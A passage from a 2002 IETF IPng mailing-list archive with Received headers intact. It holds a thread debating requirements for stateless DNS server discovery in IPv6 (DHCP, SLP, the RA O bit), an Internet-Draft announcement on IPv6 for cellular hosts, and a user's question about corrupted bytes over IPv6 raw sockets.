engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA01335 for ; Wed, 17 Apr 2002 06:29:32 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA08601 for ; Wed, 17 Apr 2002 06:29:31 -0700 (PDT) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g3HDTTLQ130288; Wed, 17 Apr 2002 09:29:29 -0400 Received: from localhost.localdomain (lig32-226-114-2.us.lig-dial.ibm.com [32.226.114.2]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g3HDTCx250740; Wed, 17 Apr 2002 09:29:12 -0400 Received: from localhost.localdomain (narten@localhost) by localhost.localdomain (8.11.6/8.9.3) with ESMTP id g3HDLCM04461; Wed, 17 Apr 2002 09:21:12 -0400 Message-Id: <200204171321.g3HDLCM04461@localhost.localdomain> To: "Hesham Soliman (ERA)" cc: "'ipng@sunroof.eng.sun.com'" Subject: Re: Stateless DNS discovery draft In-Reply-To: Message from "Hesham Soliman (ERA)" of "Tue, 16 Apr 2002 17:48:10 +0200." <4DA6EA82906FD511BE2F00508BCF053802C6AC6F@Esealnt861.al.sw.ericsson.se> Date: Wed, 17 Apr 2002 09:21:12 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > 1) What, precisely, does the term "stateless" mean in this context? > > It suggests a belief that all the existing mechanisms > > for telling a > > host where to find DNS servers are keeping state recording which > > server addresses they've reported to which hosts. That > > sure isn't > > the way that even "stateful" configuration (DHCPv4 with address > > leasing) works with the ISC DHCP server that's running on my > > network right now. > => I understand. Perhaps stateful is used to refer > to the fact that they keep a record of the DNS > address. But I agree that it is not really accurate. Do DHC servers do that? Are they *required* too? And if they do, so what? I.e., DHC servers can easily be configured to say "all clients should use DNS server XXX". I.e., they give the same config information to everyone. Is this explicitely recorded on a per-client basis? I don't know that it is or needs to be or why that matters. > => Ok, I should say that the functionality I'd like > to see is the ability to discover a DNS without > relying on functional entities other than the > DNS. (not necessarily the entire node, but the > server itself, I think the term server is very > clear and does not imply an entire node). Why? > The point of the work is to limit the effects > of third party node failures on discovering the > DNS. The above paragraph is much more restrictive than necessary to meet this requirement. Hence, I keep coming back to wanting to understand the real requirements. > I.e. When I'm running a network with a million user devices in it, I > can either spend money to make sure that my DHCP server is super > reliable or, make sure that, at least the very basic functions of > the server, are done e2e. That is, between the end host and the DNS. I seriously have to wonder whether one can have a network with a million users on it that *doesn't* have the need to configure services other than DNS and that won't be needing to run DHC. > => Exactly, but propagating information across > routers is _the_ issue here. People were not > comfortable with relying on multicast routing. Well, if it is a requirement that any DNS discovery solution NOT rely on multicast, I think the WG needs to have that discussion and make it a requirement of the problem. There has been only limited discussion on this point so far. Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 06:29:19 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDTJIA003262; Wed, 17 Apr 2002 06:29:19 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HDTJBr003261; Wed, 17 Apr 2002 06:29:19 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDTEIA003254 for ; Wed, 17 Apr 2002 06:29:16 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA07329 for ; Wed, 17 Apr 2002 06:29:18 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA19929 for ; Wed, 17 Apr 2002 07:29:18 -0600 (MDT) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g3HDTBLQ113546; Wed, 17 Apr 2002 09:29:12 -0400 Received: from localhost.localdomain (lig32-226-114-2.us.lig-dial.ibm.com [32.226.114.2]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g3HDStx234870; Wed, 17 Apr 2002 09:28:55 -0400 Received: from localhost.localdomain (narten@localhost) by localhost.localdomain (8.11.6/8.9.3) with ESMTP id g3HDOjn04502; Wed, 17 Apr 2002 09:24:45 -0400 Message-Id: <200204171324.g3HDOjn04502@localhost.localdomain> To: Jonne.Soininen@nokia.com cc: ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft In-Reply-To: Message from Jonne.Soininen@nokia.com of "Tue, 16 Apr 2002 18:13:04 PDT." <4D7B558499107545BB45044C63822DDE0A07F1@mvebe001.NOE.Nokia.com> Date: Wed, 17 Apr 2002 09:24:45 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > There my view on the issue is quite clear: For a simple node (phone, > or a PDA) or for a node in a simple network (PC in home environment, > etc. - no real administration), there has to be a way to use the DNS > without running _any_ additional protocols to additional servers. To clarify: Does this mean you are concerned about the need to configure other servers manually? (i.e., if this were done automatically without admin involvement, would that address the problem)? >From your followup note, it sounds like manual configuration is your concern. You want this to happen without human configuration being required. Also, are you saying that it is NOT necessary for nodes (say at home, in the "no real administration" environment) to have DNS names associated with their addresses? If the answer is that they WILL need DNS names, we need to talk about how that will happen, and if the mechanisms needed to get DNS names into the DNS in fact means that the simple DNS discovery turns out to NOT be enough (by itself) to be sufficiently useful. > Then the discussion about having further configuration done on the > node, by DHCP or whatever other protocol, I would say is a different > discussion. Because you believe that all a node needs in practice is an address and a DNS server it can send queries to? Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 06:32:24 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDWNIA003326; Wed, 17 Apr 2002 06:32:23 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HDWNsf003325; Wed, 17 Apr 2002 06:32:23 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDWJIA003318 for ; Wed, 17 Apr 2002 06:32:19 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA10065 for ; Wed, 17 Apr 2002 06:32:23 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA15535 for ; Wed, 17 Apr 2002 06:32:22 -0700 (PDT) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g3HDTiLQ147304; Wed, 17 Apr 2002 09:29:44 -0400 Received: from localhost.localdomain (lig32-226-114-2.us.lig-dial.ibm.com [32.226.114.2]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g3HDSpx147666; Wed, 17 Apr 2002 09:28:52 -0400 Received: from localhost.localdomain (narten@localhost) by localhost.localdomain (8.11.6/8.9.3) with ESMTP id g3HDNW504488; Wed, 17 Apr 2002 09:23:32 -0400 Message-Id: <200204171323.g3HDNW504488@localhost.localdomain> To: Robert Elz cc: Rob Austein , ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft In-Reply-To: Message from Robert Elz of "Tue, 16 Apr 2002 20:56:11 +0700." <2139.1018965371@brandenburg.cs.mu.OZ.AU> Date: Wed, 17 Apr 2002 09:23:32 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Yes, "stateless" is the wrong word - what people are mostly meaning is > "adminstratorless" or "configuration free" or similar - that is, it all > just works without anyone configuring anything, anywhere. And note that this can be done today using existing protocols. SLP, for example, does exactly this. But for reasons that are unclear to me, SLP has been rejected as somehow not being appropriate. And, one can imagine DHC doing this. Either through inform, or by having information from the server providing the actual services (e.g., DNS) registering itself with DHC. Some protocol work would be needed for this, but it would have the benefit of generalizing to other services that will likely need the same functionality. Also, this could be done behind the scene *without* client modifications. IMO, here is certainly value in having one way to do DNS server discovery on clients. And, oddly enough, this is again reinventing SLP, which has a Directory Agent capability where servers register with DAs. Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 06:32:48 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDWmIA003348; Wed, 17 Apr 2002 06:32:48 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HDWlp7003341; Wed, 17 Apr 2002 06:32:47 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDWfIA003328 for ; Wed, 17 Apr 2002 06:32:41 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA02935 for ; Wed, 17 Apr 2002 06:32:45 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA07603 for ; Wed, 17 Apr 2002 07:32:44 -0600 (MDT) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g3HDTcLQ018712; Wed, 17 Apr 2002 09:29:38 -0400 Received: from localhost.localdomain (lig32-226-114-2.us.lig-dial.ibm.com [32.226.114.2]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g3HDT9x83468; Wed, 17 Apr 2002 09:29:09 -0400 Received: from localhost.localdomain (narten@localhost) by localhost.localdomain (8.11.6/8.9.3) with ESMTP id g3HDMYc04474; Wed, 17 Apr 2002 09:22:34 -0400 Message-Id: <200204171322.g3HDMYc04474@localhost.localdomain> To: itojun@iijlab.net cc: ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft In-Reply-To: Message from itojun@iijlab.net of "Tue, 16 Apr 2002 11:47:58 +0900." <1402.1018925278@itojun.org> Date: Wed, 17 Apr 2002 09:22:34 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk itojun@iijlab.net writes: > this "Information-Request" behavior happens only when O bit is set in > router advertisement packet (see RFC2461 page 19). the problem > "stateless DNS discovery" draft is trying to address is, how to > discover DNS server when O bit is not set. It is probably worth pointing out that the wording in 2461 was put in quite a long time ago, well before we had a DHCPv6 and may well warrant some (re)thinking about whether those bits still make sense in their current form. For example, we could just say always invoke DHC for non-address configuration in all cases and do away with the O bit. Another possible view is that routers in practice will always set the O bit to 1, precisely so that clients can discover DNS config via DHC. In this case, we don't need an alternate way to learn of DNS servers. It seems to me that the argument "we need a non-DHCP way of doing this to deal with the case with the O bit being 0" is a bit of an artificial problem. To me, the argument alone doesn't justify doing something explicit for a "stateless" DNS discovery. I.e, maybe the reason the O bit is set to 0 is because there is no DNS server config information available. In that case, doing any sort of DNS discovery is a waste of time. > btw - it is still unclear to me if "administered (stateful) mechanism" > mentioned in RFC2461 is DHCPv6, or some other protocol. > it is not explicitly stated anywhere. That is because at the time there was nothing to point to. I think the assumption has always been that it would be DHC. But as I say above, it might well be worth re-thinking whether we still do need the O bit and what its actual semantics should be given what we know today. Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 06:48:16 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDmFIA003393; Wed, 17 Apr 2002 06:48:15 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HDmFhl003392; Wed, 17 Apr 2002 06:48:15 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDmCIA003385 for ; Wed, 17 Apr 2002 06:48:12 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA07586 for ; Wed, 17 Apr 2002 06:48:14 -0700 (PDT) From: john.loughney@nokia.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA16790 for ; Wed, 17 Apr 2002 07:48:13 -0600 (MDT) Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36]) by mgw-x2.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g3HDmQF14667 for ; Wed, 17 Apr 2002 16:48:26 +0300 (EET DST) Received: from esebh001.NOE.Nokia.com (unverified) by esvir04nok.ntc.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Wed, 17 Apr 2002 16:48:08 +0300 Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Wed, 17 Apr 2002 16:48:08 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Stateless DNS discovery draft Date: Wed, 17 Apr 2002 16:48:08 +0300 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEFC64F63@esebe004.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Stateless DNS discovery draft Thread-Index: AcHmFIJpPXr/+ZO9TZutMU5BqwJmtAAAbxPQ To: , Cc: X-OriginalArrivalTime: 17 Apr 2002 13:48:08.0913 (UTC) FILETIME=[82146C10:01C1E616] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3HDmDIA003386 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Thomas & Hesham, > Some things I've heard: > > - no dependency on a third-party server > - no configuration required by admin > - something that "just works" for roaming users. (?) > - something that addresses the case where the O bit in RAs is not set > - don't reinvent the wheel without compelling reason > - don't end up with multiple ways of doing the same thing > - can't use DHCP because DHCP ... (isn't liked, isn't done, is > state, is too complex, requires configuration, ...) > > I'm not necessarily agreeing with any or all of the above. But I think > it would be useful to have an explicit discussion about the > assumptions/requirements folks have that are driving them towards a > particular solution. > > What other requirements do folks have? I get the feeling that you would like a short and to-the-point draft on the requirements for DNS discovery. If this was produced, perhaps this could help focus the discussion. John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 06:54:05 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDs5IA003422; Wed, 17 Apr 2002 06:54:05 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HDs5KY003421; Wed, 17 Apr 2002 06:54:05 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HDs1IA003414 for ; Wed, 17 Apr 2002 06:54:01 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA09228 for ; Wed, 17 Apr 2002 06:54:03 -0700 (PDT) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA02330 for ; Wed, 17 Apr 2002 07:54:02 -0600 (MDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17506; Wed, 17 Apr 2002 09:53:59 -0400 (EDT) Message-Id: <200204171353.JAA17506@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipng@sunroof.eng.sun.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipv6-cellular-host-01.txt Date: Wed, 17 Apr 2002 09:53:58 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Version 6 Working Group Working Group of the IETF. Title : IPv6 for Second and Third Generation Cellular Host Author(s) : J. Arkko et al. Filename : draft-ietf-ipv6-cellular-host-01.txt Pages : 22 Date : 16-Apr-02 As increasing numbers of cellular hosts are being connected to the Internet, IPv6 becomes necessary. Examples of such hosts are devices used with General Packet Radio Service (GPRS) or Universal Mobile Telecommunications System (UMTS) networks. Standardization organizations are also making IPv6 mandatory in their newest specifications. However, the concept of IPv6 covers many aspects, numerous standards, a number of different situations and is still evolving. A rapid adoption of IPv6 is desired for cellular hosts. In addition, the characteristics of cellular links in terms of bandwidth, cost and delay put special requirements on IPv6. For these reasons it is necessary to understand how the IPv6 deployment in second and third generation cellular networks will start and which parts of IPv6 are used in which situations. This informational document lists basic components of IPv6 functionality and discusses some issues relating to the use of these components when operating over cellular interfaces. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-cellular-host-01.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipv6-cellular-host-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipv6-cellular-host-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020416152237.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipv6-cellular-host-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipv6-cellular-host-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020416152237.I-D@ietf.org> --OtherAccess-- --NextPart-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 07:03:56 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HE3uIA003455; Wed, 17 Apr 2002 07:03:56 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HE3t1r003454; Wed, 17 Apr 2002 07:03:55 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HE3qIA003447 for ; Wed, 17 Apr 2002 07:03:52 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA11911 for ; Wed, 17 Apr 2002 07:03:55 -0700 (PDT) Received: from mail7.nc.rr.com (mail7.southeast.rr.com [24.93.67.54]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA26348 for ; Wed, 17 Apr 2002 07:03:54 -0700 (PDT) Received: from nc.rr.com ([24.162.252.183]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 17 Apr 2002 10:02:59 -0400 Message-ID: <3CBD80B7.F11CDB60@nc.rr.com> Date: Wed, 17 Apr 2002 10:03:35 -0400 From: Brian Haberman X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: john.loughney@nokia.com CC: narten@us.ibm.com, hesham.soliman@era.ericsson.se, ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft References: <0C1353ABB1DEB74DB067ADFF749C4EEFC64F63@esebe004.NOE.Nokia.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk John, john.loughney@nokia.com wrote: > > I get the feeling that you would like a short and to-the-point draft > on the requirements for DNS discovery. If this was produced, perhaps > this could help focus the discussion. That is exactly what I would like to see. Thomas hinted at it, but without such a draft we are going to go around in circles. Regards, Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 07:09:45 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HE9jIA003483; Wed, 17 Apr 2002 07:09:45 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HE9jUc003482; Wed, 17 Apr 2002 07:09:45 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HE9gIA003475 for ; Wed, 17 Apr 2002 07:09:42 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA15618 for ; Wed, 17 Apr 2002 07:09:44 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA06438 for ; Wed, 17 Apr 2002 07:09:44 -0700 (PDT) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g3HE9bLQ124996; Wed, 17 Apr 2002 10:09:37 -0400 Received: from localhost.localdomain (lig32-225-255-220.us.lig-dial.ibm.com [32.225.255.220]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g3HE9Zx246546; Wed, 17 Apr 2002 10:09:35 -0400 Received: from localhost.localdomain (narten@localhost) by localhost.localdomain (8.11.6/8.9.3) with ESMTP id g3HE72r04798; Wed, 17 Apr 2002 10:07:03 -0400 Message-Id: <200204171407.g3HE72r04798@localhost.localdomain> To: john.loughney@nokia.com cc: hesham.soliman@era.ericsson.se, ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft In-Reply-To: Message from john.loughney@nokia.com of "Wed, 17 Apr 2002 16:48:08 +0300." <0C1353ABB1DEB74DB067ADFF749C4EEFC64F63@esebe004.NOE.Nokia.com> Date: Wed, 17 Apr 2002 10:07:01 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > I get the feeling that you would like a short and to-the-point draft > on the requirements for DNS discovery. If this was produced, perhaps > this could help focus the discussion. This would seem to me to help. But I'd also focus on getting the words right on the mailing list quickly and then doing the ID. I.e., try to use the current thread momentum to tease out the real issues. Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 07:37:20 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HEbKIA003510; Wed, 17 Apr 2002 07:37:20 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HEbKoj003509; Wed, 17 Apr 2002 07:37:20 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HEbHIA003502 for ; Wed, 17 Apr 2002 07:37:17 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA22986 for ; Wed, 17 Apr 2002 07:37:19 -0700 (PDT) Received: from web21309.mail.yahoo.com (web21309.mail.yahoo.com [216.136.173.254]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id IAA09060 for ; Wed, 17 Apr 2002 08:37:17 -0600 (MDT) Message-ID: <20020417143716.72262.qmail@web21309.mail.yahoo.com> Received: from [202.141.1.9] by web21309.mail.yahoo.com via HTTP; Wed, 17 Apr 2002 07:37:16 PDT Date: Wed, 17 Apr 2002 07:37:16 -0700 (PDT) From: user user Subject: Data corruption To: ipng@sunroof.eng.sun.com, users@ipv6.org MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1230281320-1019054236=:70777" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --0-1230281320-1019054236=:70777 Content-Type: text/plain; charset=us-ascii Hello, I am using Linux 2.4. I tried to transfer some n bytes of data over IPv6 raw sockets using sendmsg() and recvmsg(). All the bytes except the 3rd and the 4th byte are being transferred uncorrupted. But the 3rd and the 4th byte data is getting corrupted, whatever be the data. I tried printing the data just before the call to sendmsg() and just after recvmsg().. the second print of data just after recvmsg() is showing some corrupted data on the 3rd and the 4th byte. Can anyone please let me know what is happening. Thanks in advance. --------------------------------- Do You Yahoo!? Yahoo! Tax Center - online filing with TurboTax --0-1230281320-1019054236=:70777 Content-Type: text/html; charset=us-ascii

Hello,

I am using Linux 2.4. I tried to transfer some n bytes of data over IPv6 raw sockets using sendmsg() and recvmsg().

